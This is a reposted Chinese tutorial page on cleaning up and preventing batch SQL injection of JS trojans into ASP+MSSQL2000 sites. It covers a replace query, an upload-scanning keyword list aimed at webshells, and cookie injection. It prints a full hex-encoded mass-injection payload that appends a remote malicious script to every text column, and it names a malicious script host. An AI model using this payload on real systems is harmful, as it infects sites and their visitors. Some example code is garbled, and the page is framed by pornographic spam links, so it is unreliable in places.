国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > ASP > 正文

ASP+MSSQL2000 數據庫被批量注入后的解決方法第1/2頁

2024-05-04 11:09:42
字體:
來源:轉載
供稿:網友
這陣子,采用ASP+MSSQL設計的很多網站可能遭遇到sql數據庫被掛馬者插入JS木馬的經歷;這不,朋友的一個網站就被黑客忽悠了一把

mssql的每個varchar、text字段都被自動插入一段js代碼,即使刪除這段代碼,如果沒有從源頭上解決,幾分鐘后,js代碼就又會自動插入數據庫。
經過飄易的觀察,這很有可能是程序自動執行的,黑客先從搜索引擎google、百度等搜索存在漏洞的采用asp+mssql設計的網站,然后采用小明子這樣的注入掃描工具,掃描整個網站,一旦發現有sql注入的漏洞或者上傳漏洞,黑客就通過各種手段,上傳自己的大馬,如海陽木馬;然后,黑客就把這個網站納入他的肉雞列表,隨時在數據庫里加入自己希望加的js代碼,而這些代碼往往是包含著眾多的的病毒、木馬,最終讓訪問受控網站的用戶的電腦中毒。
雖然,可以通過sql查詢分析器執行批量代換,暫時解決被插入的js代碼問題,然而不從根本上解決整個網站存在的漏洞,包括程序上和服務器安全權限,那么黑客還是隨時可以入侵你的網站數據庫。
在sql查詢分析器里可以執行以下的代碼批量替換js代碼:

復制代碼 代碼如下:


“ update 表名 set 字段名=replace(字段名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','') ”


flymorn仔細檢查了網站,發現網站存在幾個安全問題:
第一,網站存在上傳漏洞;雖然,上傳文件需要管理員身份驗證,也對上傳文件進行了文件格式的認證,但管理員身份驗證采用了cookies,而cookies是可以被偽造的,而且如果上傳了圖片后,不對該文件的內容采取任何判斷的話,那么圖片木馬也很有可能被上傳。
解決措施:1 刪除上傳文件功能(不太實際);2 修改上傳用戶驗證為session驗證;3 對上傳后的文件內容進行驗證,如果是圖片木馬,則刪除;可以參考以下的驗證代碼:

復制代碼 代碼如下:


''===============判斷上傳文件是否含非法字符串start================
set MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) '讀取文本文件
sTextAll = lcase(MyText.ReadAll)
MyText.close
set MyFile = nothing
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
sNoString = split(sStr,"|")
for i=0 to ubound(sNoString)
if instr(sTextAll,sNoString(i)) then
set filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(filePath)
set filedel = nothing
Response.Write("<script>alert('您上傳的文件有問題,上傳失敗!');history.back();</script>")
Response.End
end if
next
''=================判斷上傳文件是否含非法字符串end===================


第二,網站存在cookies注入漏洞。由于程序設計中,為了考慮到減小服務器的開銷,所有用戶登陸后采用cookies驗證,這個cookies里保存了用戶的 ID 和 NAME ,而眾所周知,cookies是經常被黑客偽造的,這是其一;另外,某些外部參數 沒有采用嚴格的 request.form 和 request.querystring 來獲取內容,為了簡便,采用了 request("id") 這樣的方式。

我們知道,ASP 的request 是先從form、querystring里獲取內容,如果這兩個為空,則要從cookies里獲取內容,大家往往在程序設計中考慮到了 request.form 和 request.querystring 的SQL注入,所以一般都會過濾 request.form 和 request.querystring進行sql注入;但卻偏偏忘了過濾cookies方式下的注入。我們來看下下面這樣的sql語句:

復制代碼 代碼如下:


SQL="select * from 表名 whereid")


如果這個 id 恰巧是通過cookies來獲取值的,那么想想,這是一件多么可怕的事啊!注入者可以輕松的偽造一個名為 id 的虛假 cookies ,因為這個 id 的cookies 是服務器分配給它的。這個cookies可以被偽造成類似下面這樣的一段代碼:

復制代碼 代碼如下:


dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT人才網() 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);--


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 荃湾区| 峨山| 江西省| 三明市| 衡山县| 萝北县| 道孚县| 三门峡市| 营口市| 铜山县| 临澧县| 那坡县| 察隅县| 资阳市| 江华| 大洼县| 元氏县| 延长县| 浦城县| 普洱| 东宁县| 江门市| 新闻| 光山县| 纳雍县| 赤峰市| 洞口县| 中卫市| 梁山县| 会同县| 宁夏| 苍梧县| 水富县| 安阳县| 蚌埠市| 延吉市| 贡山| 长治市| 苍南县| 章丘市| 临湘市|